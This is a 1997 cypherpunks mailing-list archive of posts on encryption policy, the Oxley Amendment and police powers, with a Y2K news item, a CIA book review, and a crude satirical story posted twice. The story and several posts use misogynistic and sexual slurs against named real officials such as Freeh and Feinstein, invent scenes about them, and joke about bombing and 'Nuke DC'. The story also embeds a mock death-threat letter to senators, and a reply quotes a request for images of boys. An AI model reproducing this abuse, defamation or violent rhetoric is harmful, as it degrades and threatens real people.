Date: Thu, 25 Sep 1997 17:50:26 +0800
To: A Player To Be Named Later <declan@well.com>
Subject: Re: Rants from A Player To Be Named Later
In-Reply-To: <v03007800b04f2a69a77b@[168.161.105.141]>
Message-ID: <3.0.3.32.19970925021811.006ff818@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:31 PM 09/24/1997 -0600, A Player To Be Named Later wrote:
>> Law enforcement arguments about pedophiles generally trump 
>> discussions of privacy rights.

Arguments about National Security generally trump both;
if you can spin the discussion right, remember that
widespread strong encryption protects National Security
and helps protect YOUR KIDS' privacy from those EVILDOERS out there.

And by the way, you'd really hope the cryptographically-protected
arming circuits for nuclear weapons don't have their keys escrowed....

>  Let me get this straight...
>  These dweebs are capable of finding a single joint in a vehicle
>travelling amoung thousands of others on the freeway, but they are
>incapable of finding a ton of cocaine in an airport with less than
>a hundred planes in it?

Sure, and that's why import laws won't stop crypto;
if you can smuggle Heavy Weapons into the US by packing them in dope,
you can smuggle in crypto floppies wrapped in darn near anything...

>  Why are the LEA's salaries not tied directly to the price of drugs
>on the street? Because, with the price of heroin at a record low for
>the decade, then these thieving fucks would be making less than the
>minimum wage!

Some countries simplify the mechanism and pay the cops directly in dope....


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 25 Sep 1997 18:24:31 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Telcos oppose Oxley
In-Reply-To: <3.0.3.32.19970924181510.0314c160@dnai.com>
Message-ID: <3.0.3.32.19970925025045.00703698@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:18 PM 09/24/1997 -0700, Tim May wrote:
>I think it was Bill Stewart who recently described all the various minor
>crimes which will likely soon involve crypto, things like calling for a
>hooker on a phone that has crypto in it, using a Metricom Ricochet wireless
>system to send banned words to a foreigner, and so on. All kinds of minor
>crimes suddenly have 10- and 20-year sentences attached.

I've been using "Jaywalking while talking on a digital cellphone",
but also things like "Cheating on your taxes with PGP on your computer"...
We came up with a bunch more at the recent Cypherpunks meeting.

So many of the extra-penalty laws are bogus; one classic abuse was a guy in 
New York who was charged with "illegal possession of a linoleum knife".
Now, possession of linoleum knives is perfectly legal, even without a
flooring-installer's license.  _This_ knife became illegal when
he allegedly stabbed his girlfriend with it, at which point he could
- keep the knife (illegal possession of a previously non-illegal object)
- get rid of it (illegal obstruction of justice), or
- turn it in at police station (good start on an insanity defense...)


				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Thu, 25 Sep 1997 17:54:23 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Pissing on the Parade / Re: Oxley Amendment
In-Reply-To: <Pine.BSF.3.96.970925084053.21871A-100000@pakastelohi.cypherpunks.to>
Message-ID: <342A32AC.2F12@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green, travelling faster than the speed of light and sending
his post the the cypherpunks list hours *after* my reply to it,
wrote:

> On Wed, 24 Sep 1997, Lee Tien wrote:
> >
> > I'd love to see a simple map/diagram of all the inflection points where the
> > FBI/NSA forces can further twist SAFE.  Call it morbid curiosity.  Last
> > year's model was bad, and it's only gotten worse.

  "Can you say Plan B, Plan CC and Plan DC? Sure you can..."

  Plan B  - Bomb
  Plan CC - Beyond the Return to the Valley of the Planet of ClipperChip
            "Coming soon to a computer chip manufacturer near you!"
                    (Can you say Intel? Sure you can...)
  Plan DC - Nuke DC [<--  Cult of OnePunk counter-plan]
   
> Such a diagram would be interesing to have. Not everybody watched "How a
> bill becomes law". :-) And there is sigificant interest in this issue from
> our international readers that are not as familiar with the political
> process in the US as perhaps some of us US citizens are.

  "Do you feel punk, Lucky? Well...do you?"
      Clit Westwood, in 'Megaton Force'

I presume that those toasting the 'great victory' are doing so with 
leftover champagne that went stale when they didn't have time to
drink the whole bottle before the stay of the Bernstein ruling cut
short *that* grand little celebration.

I hate to 'poop the party' boys and girls, but the Big Boys are playing
for *all* the marbles, in case no one has noticed.
Anyone who is still under the impression that the self-proclaimed 'good
guys' are going to be 'fighting fair' had better quit sucking on their
thumb and stick it up their ass, where it might provide a bit more
protection during future events.

  "You don't have to be a cypherpunk to know which way Gilmore is
blowing."
       Dr. Dimitri Dylan, KOTM

APlayerToBeNamedLater
~~~~~~~~~~~~~~~~~~~~~
"I'll trade you 5,000,000 DC residents, for one Tim C. May."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Thu, 25 Sep 1997 18:17:05 +0800
To: cypherpunks@toad.com
Subject: Good News / Bad News
Message-ID: <342A3587.7A2D@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Bill Gore, FBI - 
"The good news is that we have apprehended Ramon Eduardo Arellano-Felix
 in return for paying out the two million dollar reward for his sorry,
 drug-dealing, scum-sucking ass."

Louis Freeh, Lying Nazi Fuck - 
"What's the bad news?

Bill Gore, FBI - 
"We payed the two million to Jim Bell, and he used it to place a bet..."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 25 Sep 1997 19:52:52 +0800
To: cypherpunks@cyberpass.net
Subject: Year 2000 Solutions
Message-ID: <3.0.32.19970925044100.006a1544@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




I found this bit of news info in the Softworld '97 website, for any of you
who are interested:

(http://www.softworld.org/cfm/sfwd8000.cfm?X=62)

Year 2000 Solutions From India's Largest Software Consultancy

Tue, Sep 9, 1997, Vancouver, BC - Tata Consultancy Services (TCS), India's
largest global provider of software and software services, came to
Softworld 97 looking for potential clients in all areas of software needs,
including Year 2000. With their existing Y2K tool capabilities, coupled
with two upcoming announcements, Softworld 97 is providing TCS with an
excellent source for potential deals.   
TCS is already using its proprietary Y2K tools for projects involving: 

IBM Mainframe (OS/VS COBOL, COBOL II ETACOBOL, PL/1, ASSEMBLER, EASYTRIEVE,
MANTIS, TELON, SCEPTER, NATURAL, ADS/O, JCL, plus IDMS, IMS, DB2 and SUPRA) 
AS/400 (RPG, COBOL, CL, S/36, S/38, OCL) 
Tandem (COBOL, SCOBOL) 
DEC VAX (COBOL, POWERHOUSE) 
Honeywell-Bull (COBOL) 
Unix "C" 

In two weeks TCS will offer its AS/400 Y2K toolset, named Y2KIT/400, for
sale around the world as either a stand-alone product or bundled with
services. This tool suite has already proven its value in several
international projects involvimg millions of lines of code. 
On October 1st, TCS will open a "dedicated Y2K Factory" in Chennai
(formerly Madras), India. This facility will be unique in that it will have
1000 dedicated Indian software professionals, utilizing an IBM 9672-R44 (4
processor, CMOS) Mainframe, and equipped with a high-speed T1 satellite
link to North America. With 200 MLOC already under contract, this Center is
being commissioned to handle 1 Billion lines of code. 

"Our attendance at Softworld 97 could not have come at a more opportune
time," states Jim Thomas, TCS' Vice President of Marketing for North
America, "as there are numerous companies present with Y2K requirements." 


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: apache@bear.apana.org.au
Date: Thu, 25 Sep 1997 02:58:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: NAMBLA
In-Reply-To: <970923211837_-994610816@emout02.mail.aol.com>
Message-ID: <199709241848.EAA16464@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


    Boat1688@aol.com said:

>How do I get some of these pics of boys in swimsuits?  

I know guys at the IRS have better things to do like sell tax files to 
the highest bidder. Couldn't u at least look like ur doing something 
usefull.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNClgi3awhvoxf0r9AQHO1Af+MZL4PNzQbrGFsnc8ZSexte4LL/2PqYEr
l2vtLh3KwOwH0JrrhKh0l7uqgSOgqVl56ZredXrNdTL9z0NF/PJcT2aVdAf+juFN
7Tzul8Ji/19gXB7xZ3bdp9Q81ZEgDMUdW/hlxH1rH6QOLuC0s4U+0nuEC7IyTQ5s
q2reMUnFqvhMpkjvRbK0x4v6StcO+Fc5f5X6LpHstbctW7PyDgmc5fHmQ9JiHT5Q
RckTd8OcZC4Se0zK8hUTVKDLgonh9EIfeGNdso4w7LMaszfiCcTb34JOMATlaqg9
M7zci2E6E0WPRkRUW0iHGkrui7dc0NuRDNCc7GxhbCWdpud9yJOADg==
=tfHv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 25 Sep 1997 21:22:36 +0800
To: cypherpunks@toad.com
Subject: InfoWar 21 (Part III of 'The True Story of the InterNet')
Message-ID: <342A5B59.32AB@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Lying Fucking Nazi Cunt Sex Criminal



Lying Fucking Nazi Cunt Sex Criminal


"This has got to stop!" the crimson-faced man
threw the printout on the desk of the Sex Criminal.

The Sex Criminal, as usual, just laughed and tried to make light
of the situation. 
"Well, at least Lying Fuck is better than Lying Nazi Cunt."
the Sex Criminal winced as the woman Senator walked into the
room just as the words were coming out of his mouth.

The Nazi Cunt shot the Sex Criminal a stare that took the heat
out of even his easily excitable loins. The post she had in her
hand was even more to the point than the one that the Lying Fuck
had thrown on the Sex Criminal's desk.
She handed it to the Lying Fuck with a chagrined grin, saying,
"Why don't you read it first, Mr. Freeh-dumb!"

The Sex Criminal began to chuckle, but stopped quickly when the
FBI Director shot him a stare that was colder than even the Nazi
Cunt's withering look.
The Lying Fuck then turned his attention to the email that the
Nazi Cunt had received, along with a few hundred other Senators
and Congressmen shortly before the vote on the ultra-fascist Oxley
Amendment to the dictatorial SAFE bill being pushed in the House
Commerce Committee.

To: senator@feinstein.senate.gov
From: HugeCajones Remailer<hc@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "He who shits on the road, will meet flies upon
his return."
X-Comments: -
X-Comments: "GOMEZ IS COMING!"
X-Comments: -
X-Comments: This message is NOT from TruthMonster.
X-Comments: It was sent by an automated anonymous asshole under
the
X-Comments: auspices of the Electronic Forgery Foundation.
X-Comments: -
X-Comments: Note: Send any complaints about abuse of this remailer

X-Comments: to the person most concerned about your rights and

X-Comments: freedoms. (Hint: It's a "mirror" site.)

Subject: !!! DEATH THREAT !!!

You should be careful before you do foolish things like making
a death
threat because it can have really bad results. 
...
 People like the Constitution a lot and if you are making
a death threat
against it then it is like saying your going to kill someone else's

friend or family and everyone knows that they will kill you because

they are domestic and not a stranger.  Or is it that they are
stranger 
and not domesticated?
Never mind. You know what I mean.


"Damn!" the Lying Fuck swore with a vengeance,
"It's the fucking nephew, again."

He began to pace the floor, angry that he had been boxed into
a corner where taking strong action in response to this post would
involve sending a swat team into an allied foreign country to
arrest a fourteen year-old kid. A cute kid, nonetheless. A cute
Christian kid.
He shook his head slowly, as if in pain, as he continued to read
the kid's continuing diatribe against encryption opponents.


Especially if you try to make it so that they cannot put aluminum
foil
hats on their thoughts and their words and their writing. Then
they 
get really, really, nervous and maybe start thinking that they
have to
kill everybody because they are not safe from anybody. 

You should be careful before you vote to kill the Constitution
and look
under all your chairs and stuff, just in case. 


The Sex Criminal was reading the same passage, and he looked up
at the FBI Director, asking, "Isn't that a threat? Can't
we do something about that?"
He looked to the Nazi Cunt for support...

"Jesus, Bill!" the Nazi Cunt said, rolling her
eyes upward.
"You want to send the fucking Marines up to bring back
a Canadian teenager in leg-irons so that he can remind our citizens
that we have a constitution? Give it a break."

Freeh continued to read the email.

Even if you do think you can kill the Constitution and still
have all of
the people believe you are not a bad person then you should at
least
try not to let really stupid people who you work with say things
like
"I am too stupid to learn about this stuff so I am going
to let the guys
who want to make aluminum foil hats illegal and put everyone in
jail
decide how I vote to kill the Constitution."
The one those guys who always say "Nuke DC" call Swinestein
said
that and it made everyone think you are all that stupid and going
to
let people with guns who kill women and children make your votes

for you. Then even more of them say "Nuke DC" especially
when they
remember how bad the guys with the guns that you are letting vote
for
you fucked their friend (sorry but thats what they did) for making
a 
stink with the IRS.


The Lying Fuck couldn't help himself-he burst out laughing, with
the Sex Criminal following close behind. He caught her frigid
stare and said, "You said it, not me..."

"...Swinestein." he half-mumbled under his breath.

"I heard that, you bastard!" the Nazi Cunt screamed,
turning and stomping out of the room in a great huff.

 If you take away some of the guns from people then you have
to take
away all the guns or you are in big trouble. If you take away
some of
the Constitution from people then you have to take away all of
the
Constitution or you are in big trouble.
Even if you think you took away all of the things that people
can use
to be safe and free then they will make more-like Doritos. 

If you try to kill them with bullshit then they will try to
kill you
with their own brand of fertilizer. If you take away their aluminum

foil hats then they will make hats out of paper and call them

Forever Young.


The FBI Director recognized the veiled reference to the Eternity
Servers. He made a mental note to himself to begin action against
them as soon as possible. He could make it a side-project of the
agents working against the anonymous remailer operators.
That reminded him...hadn't they already killed off the Huge
Cajones Remailer? He needed to check that out, ASAP.

Killing the Constitution is a lot like killing DC-if your going
to do
it then you might as well do it right and do it all at once.
Guys with guns who want to kill Freeh-dumb know that and so do

guys with nukes who are Freeh-dumb fighters. (My uncle made up
a
new word about him-he said he "testiLied to Congress.")

"Cocksucker!" the Lying Fuck banged his fist
on the Sex Criminal's desk.
"This fucker is dead!" he screamed, beginning
to lose control, and throwing the email on the floor, stomping
on it with one foot, and then the other.

The Sex Criminal continued to read the end of the post.

Don't be a stranger,
APlayerToBeNamedLater
p.s. - If you see Declan McCullagh getting in his car and driving
like
hell away from the city then you should get in your car and do
the 
same thing. You dont need to pack a suitcase because I think if
he
does that then there is already one packed.
(Thats what the guys with guns told you in your secret meetings
so 
you will kill the Constitution for them isnt it?)


The Sex Criminal looked puzzled.
"How do these people get this information?" he
naively asked his head bonecrusher.

The Lying Fuck was getting tired of explaining the obvious to
this fucking idiot, but he took relief in the fact that now the
Line Item Veto had been passed, they could dump these liberal
shills off at the next election stop and bring in an Aryan thoroughbred
to make the Run for the Roses at the turn of the millennium.

"We know we're going to do it. They know we're going to
do it. The nuclear suitcase argument was Oxley's hole card, but
this fucking email took the steam out of his argument by ridiculing
it before it was even presented." 

"Fucking cypherpunks!" the Lying Fuck spit the
word out, as the Sex Criminal handed him a printout of a news
article that would be appearing in print the following day.

Encryption Bill Gets Approval Of House Panel 
By CHRIS DiEDOARDO    San Diego Daily Transcript, Sept. 24, 1997

...
 The 40-11 vote late Wednesday in the House Commerce Committee
could sound the death knell to FBI Director Louis J. Freeh's attempt
to require software companies to install a "back door"
in their security packages in order make them more accessible
to law enforcement officials. 
...
 "In closed session, the FBI said they don't have a problem
with encryption in foreign markets, as they have the ability to
use the military to decrypt the messages," Bilbray said,
adding the agency didn't have that capability domestically. 

"God damn it!" the bonecrusher's temperature
was rising, once again. "What the fuck good is a 'closed
session' when everything we tell these dweebs gets printed before
we get out of the goddamn building.
"The press breaks the stories about our spreading bad replacement
parts into foreign weapons systems, and the next thing you know,
we have planes falling out of the fucking sky faster than we can
count. Now we have to try to keep other countries in line with
our weak encryption policy at the same time we're confirming that
we can read their fucking minds and want to keep it that way."

He shook his head in disgust, and continued reading the article.


Early reaction from within the encryption industry was mixed.
While John Kelsey of Counterpane Systems in Jefferson City, Mo.,
thought the Markey-White package was better than the alternatives,
he said there was still a long way to go. 

"The best thing they could do is get rid of the export controls
and otherwise not interfere by trying to regulate this technology,"
he said. "The FBI should be pushing for all Americans to
use strong crypto, as cryptology makes crime harder." 
"When you encrypt credit-card numbers, that makes it a lot
harder to commit credit card fraud," Kelsey said. "In
fact, properly designed payment protocols make it very difficult
for people to steal money from the system or frame other people."

"What happens is the law-abiding citizens are constantly
being encroached on for the convenience of us in government."

"Intuitively, it seems like a bad idea to build a large infrastructure
for eavesdropping on the American people," he said. "That's
not a decision people should make without spending a lot of time
thinking about whether we're comfortable doing that, as we'd be
building the infrastructure for a police state." 

"Fucking cypherpunks!" the Lying Fuck said again,
recognizing Kelsey's name.

"Fucking cypherpunks!" the Sex Criminal echoed.


The FBI Director sat silently steaming, making quick and hard
decisions as to how to proceed with his agenda of total information
control.
Time to start hitting the hardware vendors hard, again, shaking
the trees for those who would be the quickest to fold to the NSA's
plans for hardwired monitoring and back doors into all aspects
of computer systems, including encryption.

He took his pen and circled the name 'Intel' on his game plan
cheat-sheet.

"Hit them hard and hit them everywhere." he said
to himself. 

It was long past time to bother with the pretension of friendly
discussion. He had gone past the point of no return with the announcement
of his intention to gain law enforcement access to all aspects
of corporate and private communications, the Constitution be damned,
and he was not about to turn back now. Not on your life...


Copyright "TruthMangler <president@whitehouse.gov>"

"I stuck my head between her cheeks, but I didn't inhale."
~ Marv Alpert


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 25 Sep 1997 21:36:08 +0800
To: cypherpunks@toad.com
Subject: InfoWar 21 / The GeigerBurg Text
Message-ID: <342A5B96.4FC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Lying Fucking Nazi Cunt Sex Criminal

----------------------------------------------------------------------------

                    Lying Fucking Nazi Cunt Sex Criminal
----------------------------------------------------------------------------

"This has got to stop!" the crimson-faced man threw the printout on the desk
of the Sex Criminal.

The Sex Criminal, as usual, just laughed and tried to make light of the
situation.
"Well, at least Lying Fuck is better than Lying Nazi Cunt." the Sex Criminal
winced as the woman Senator walked into the room just as the words were
coming out of his mouth.

The Nazi Cunt shot the Sex Criminal a stare that took the heat out of even
his easily excitable loins. The post she had in her hand was even more to
the point than the one that the Lying Fuck had thrown on the Sex Criminal's
desk.
She handed it to the Lying Fuck with a chagrined grin, saying, "Why don't
you read it first, Mr. Freeh-dumb!"

The Sex Criminal began to chuckle, but stopped quickly when the FBI Director
shot him a stare that was colder than even the Nazi Cunt's withering look.
The Lying Fuck then turned his attention to the email that the Nazi Cunt had
received, along with a few hundred other Senators and Congressmen shortly
before the vote on the ultra-fascist Oxley Amendment to the dictatorial SAFE
bill being pushed in the House Commerce Committee.

To: senator@feinstein.senate.gov
From: HugeCajones Remailer<hc@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "He who shits on the road, will meet flies upon his return."
X-Comments: -
X-Comments: "GOMEZ IS COMING!"
X-Comments: -
X-Comments: This message is NOT from TruthMonster.
X-Comments: It was sent by an automated anonymous asshole under the
X-Comments: auspices of the Electronic Forgery Foundation.
X-Comments: -
X-Comments: Note: Send any complaints about abuse of this remailer
X-Comments: to the person most concerned about your rights and
X-Comments: freedoms. (Hint: It's a "mirror" site.)

Subject: !!! DEATH THREAT !!!

You should be careful before you do foolish things like making a death
threat because it can have really bad results.
...
People like the Constitution a lot and if you are making a death threat
against it then it is like saying your going to kill someone else's
friend or family and everyone knows that they will kill you because
they are domestic and not a stranger. Or is it that they are stranger
and not domesticated?
Never mind. You know what I mean.

"Damn!" the Lying Fuck swore with a vengeance, "It's the fucking nephew,
again."

He began to pace the floor, angry that he had been boxed into a corner where
taking strong action in response to this post would involve sending a swat
team into an allied foreign country to arrest a fourteen year-old kid. A
cute kid, nonetheless. A cute Christian kid.
He shook his head slowly, as if in pain, as he continued to read the kid's
continuing diatribe against encryption opponents.

Especially if you try to make it so that they cannot put aluminum foil
hats on their thoughts and their words and their writing. Then they
get really, really, nervous and maybe start thinking that they have to
kill everybody because they are not safe from anybody.

You should be careful before you vote to kill the Constitution and look
under all your chairs and stuff, just in case.

The Sex Criminal was reading the same passage, and he looked up at the FBI
Director, asking, "Isn't that a threat? Can't we do something about that?"
He looked to the Nazi Cunt for support...

"Jesus, Bill!" the Nazi Cunt said, rolling her eyes upward.
"You want to send the fucking Marines up to bring back a Canadian teenager
in leg-irons so that he can remind our citizens that we have a constitution?
Give it a break."

Freeh continued to read the email.

Even if you do think you can kill the Constitution and still have all of
the people believe you are not a bad person then you should at least
try not to let really stupid people who you work with say things like
"I am too stupid to learn about this stuff so I am going to let the guys
who want to make aluminum foil hats illegal and put everyone in jail
decide how I vote to kill the Constitution."
The one those guys who always say "Nuke DC" call Swinestein said
that and it made everyone think you are all that stupid and going to
let people with guns who kill women and children make your votes
for you. Then even more of them say "Nuke DC" especially when they
remember how bad the guys with the guns that you are letting vote for
you fucked their friend (sorry but thats what they did) for making a
stink with the IRS.

The Lying Fuck couldn't help himself-he burst out laughing, with the Sex
Criminal following close behind. He caught her frigid stare and said, "You
said it, not me..."
"...Swinestein." he half-mumbled under his breath.

"I heard that, you bastard!" the Nazi Cunt screamed, turning and stomping
out of the room in a great huff.

If you take away some of the guns from people then you have to take
away all the guns or you are in big trouble. If you take away some of
the Constitution from people then you have to take away all of the
Constitution or you are in big trouble.
Even if you think you took away all of the things that people can use
to be safe and free then they will make more-like Doritos.

If you try to kill them with bullshit then they will try to kill you
with their own brand of fertilizer. If you take away their aluminum
foil hats then they will make hats out of paper and call them
Forever Young.

The FBI Director recognized the veiled reference to the Eternity Servers. He
made a mental note to himself to begin action against them as soon as
possible. He could make it a side-project of the agents working against the
anonymous remailer operators.
That reminded him...hadn't they already killed off the Huge Cajones Remailer?
He needed to check that out, ASAP.

Killing the Constitution is a lot like killing DC-if your going to do
it then you might as well do it right and do it all at once.
Guys with guns who want to kill Freeh-dumb know that and so do
guys with nukes who are Freeh-dumb fighters. (My uncle made up a
new word about him-he said he "testiLied to Congress.")

"Cocksucker!" the Lying Fuck banged his fist on the Sex Criminal's desk.
"This fucker is dead!" he screamed, beginning to lose control, and throwing
the email on the floor, stomping on it with one foot, and then the other.

The Sex Criminal continued to read the end of the post.

Don't be a stranger,
APlayerToBeNamedLater
p.s. - If you see Declan McCullagh getting in his car and driving like
hell away from the city then you should get in your car and do the
same thing. You dont need to pack a suitcase because I think if he
does that then there is already one packed.
(Thats what the guys with guns told you in your secret meetings so
you will kill the Constitution for them isnt it?)

The Sex Criminal looked puzzled.
"How do these people get this information?" he naively asked his head
bonecrusher.

The Lying Fuck was getting tired of explaining the obvious to this fucking
idiot, but he took relief in the fact that now the Line Item Veto had been
passed, they could dump these liberal shills off at the next election stop
and bring in an Aryan thoroughbred to make the Run for the Roses at the turn
of the millennium.

"We know we're going to do it. They know we're going to do it. The nuclear
suitcase argument was Oxley's hole card, but this fucking email took the
steam out of his argument by ridiculing it before it was even presented."

"Fucking cypherpunks!" the Lying Fuck spit the word out, as the Sex Criminal
handed him a printout of a news article that would be appearing in print the
following day.

Encryption Bill Gets Approval Of House Panel
By CHRIS DiEDOARDO San Diego Daily Transcript, Sept. 24, 1997
...
The 40-11 vote late Wednesday in the House Commerce Committee could sound
the death knell to FBI Director Louis J. Freeh's attempt to require software
companies to install a "back door" in their security packages in order make
them more accessible to law enforcement officials.
...
"In closed session, the FBI said they don't have a problem with encryption
in foreign markets, as they have the ability to use the military to decrypt
the messages," Bilbray said, adding the agency didn't have that capability
domestically.

"God damn it!" the bonecrusher's temperature was rising, once again. "What
the fuck good is a 'closed session' when everything we tell these dweebs
gets printed before we get out of the goddamn building.
"The press breaks the stories about our spreading bad replacement parts into
foreign weapons systems, and the next thing you know, we have planes falling
out of the fucking sky faster than we can count. Now we have to try to keep
other countries in line with our weak encryption policy at the same time
we're confirming that we can read their fucking minds and want to keep it
that way."
He shook his head in disgust, and continued reading the article.

Early reaction from within the encryption industry was mixed. While John
Kelsey of Counterpane Systems in Jefferson City, Mo., thought the
Markey-White package was better than the alternatives, he said there was
still a long way to go.

"The best thing they could do is get rid of the export controls and
otherwise not interfere by trying to regulate this technology," he said.
"The FBI should be pushing for all Americans to use strong crypto, as
cryptology makes crime harder."
"When you encrypt credit-card numbers, that makes it a lot harder to commit
credit card fraud," Kelsey said. "In fact, properly designed payment
protocols make it very difficult for people to steal money from the system
or frame other people."
"What happens is the law-abiding citizens are constantly being encroached on
for the convenience of us in government."

"Intuitively, it seems like a bad idea to build a large infrastructure for
eavesdropping on the American people," he said. "That's not a decision
people should make without spending a lot of time thinking about whether
we're comfortable doing that, as we'd be building the infrastructure for a
police state."

"Fucking cypherpunks!" the Lying Fuck said again, recognizing Kelsey's name.

"Fucking cypherpunks!" the Sex Criminal echoed.

The FBI Director sat silently steaming, making quick and hard decisions as
to how to proceed with his agenda of total information control.
Time to start hitting the hardware vendors hard, again, shaking the trees
for those who would be the quickest to fold to the NSA's plans for hardwired
monitoring and back doors into all aspects of computer systems, including
encryption.

He took his pen and circled the name 'Intel' on his game plan cheat-sheet.

"Hit them hard and hit them everywhere." he said to himself.

It was long past time to bother with the pretension of friendly discussion.
He had gone past the point of no return with the announcement of his
intention to gain law enforcement access to all aspects of corporate and
private communications, the Constitution be damned, and he was not about to
turn back now. Not on your life...

Copyright "TruthMangler <president@whitehouse.gov>"
"I stuck my head between her cheeks, but I didn't inhale." ~ Marv Alpert
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 25 Sep 1997 19:40:10 +0800
To: cypherpunks@toad.com
Subject: Secrets: The CIA's War At Home
Message-ID: <1.5.4.32.19970925110740.00862f3c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Angus Mackenzie recounts in his new book the US intelligence 
agencies' and supporters' gradual erosion of Firt Amendment 
rights since the passage of the National Security Act of
1947.

   Secrets: The CIA's War At Home
   Angus Mackenzie
   University of California Press
   Berkeley, 1997. 241 pp. $27.50
   ISBN 0-520-20020-9

"Secrets" decribes the origination of the Freedom of Information 
Act and other legislation to make government secrets available, 
the battles to get the laws passed and to defend them against 
subsequent attacks by proponents of secrecy who invoke the 
National Security Act.

Mackenzie sets out the ways the intelligence industry, helped by
the Department of Justice and the courts, manipulates 
the media, other governmental agencies and the citizenry 
by force and by seduction, with special attention to how 
it coopts its ostensible opponents like the ACLU and 
investigative journalists.

He documents the undisclosed arrangments between the CIA and the
media to favor journalism at the public's expense in legislation and
in working relations.

He carefully traces the long-running campaign to limit governmental 
employees from revealing what they know through various 
non-disclosure and lifetime secrecy agreements, sometimes breached
by ex-agency heads who reveal secrets to boost careers.

The book amply documents the ongoing struggle, now 50 years
underway, to open the archives of domestic spying, new attempts 
to limit public access to governmental information, and moves 
to invade privacy.

Here are the book's closing paragraphs:

   By the 1990s, reflecting the general conservative shift in
   Congress, many House members were actively welcoming a
   secrecy oath. Consideration of the oath, less comprehensive
   than the standard contract, first came up in the House Select
   Committee on Intelligence during a discussion of the fiscal year
   (FY) 1992 Intelligence Authorization Act. That led to a House
   rule requiring the intelligence committee members and staff to
   sign the oath. Interest in broadening the use of the oath did not
   stop there, especially for committee member Porter J. Goss of
   Florida. Goss's ties to the CIA dated from 1962 and his ten year
   stint as a clandestine service officer at the Agency. He and his
   fellow enthusiast, Henry J. Hyde of Illinois, offered amendments
   to the FY 1993 and 1994 authorization acts that would require
   secrecy oaths from every member of the House. The
   amendments did not prosper, but when the 104th Congress
   convened on January 4, 1995, backers of the oath changed
   tactics. This time the oath requirement for every House member
   was included in the packet of rules from the House Conference
   of the Majority. It became a new rule without debate.

   In the mid-1980s, Jeane Kirkpatrick sounded the alarm about
   government censorship. Although a member of the Reagan
   administration's inner foreign policy circle, Kirkpatrick had a
   personal encounter with government censors over her refusal to
   sign the lifetime secrecy contract. Upon returning to her political
   science chair at Georgetown University from her post as U.S.
   United Nations ambassador, Kirkpatrick reexamined John Stuart
   Mill's classic essay On Liberty and delivered a lecture on
   censorship. "Societies are not made stronger by the process of
   repression that accompanies censorship," she warned.
   "Censorship requires an assumption of infallibility, and that
   seems to Mill invariably negative. Repression of an opinion is
   thus bad for the censor, who inevitably acts from a conviction of
   his own infallibility," she told her students, "and bad for the
   opinion itself, which can neither be corrected nor held with
   conviction equal to the strength of an opinion submitted to
   challenge."

   As the twentieth century draws to a close, the 1947 National
   Security Act has become the Pandora's box that Ambassador
   Kirkpatrick and Congressman Hoffman had feared. Placing a
   legal barrier between foreign intelligence operations and
   domestic politics in the National Security Act has proved
   ineffectual. In the decades that followed 1947, the CIA not only
   became increasingly involved in domestic politics but abridged
   First Amendment guarantees of free speech and free press in a
   conspiracy to keep this intrusion from the American people. The
   intelligence and military secrecy of the 1940s had broadened in
   the 1960s to covering up the suppression of domestic dissent.
   The 1980s registered a further, more fundamental change, as
   the suppression of unpopular opinions was supplemented by
   systematic and institutionalized peacetime censorship for the
   first time in U.S. history. The repressive machinery developed by
   the CIA has spread secrecy like oil on water.

   The U.S. government has always danced with the devil of
   secrecy during wartime. By attaching the word "war" to the
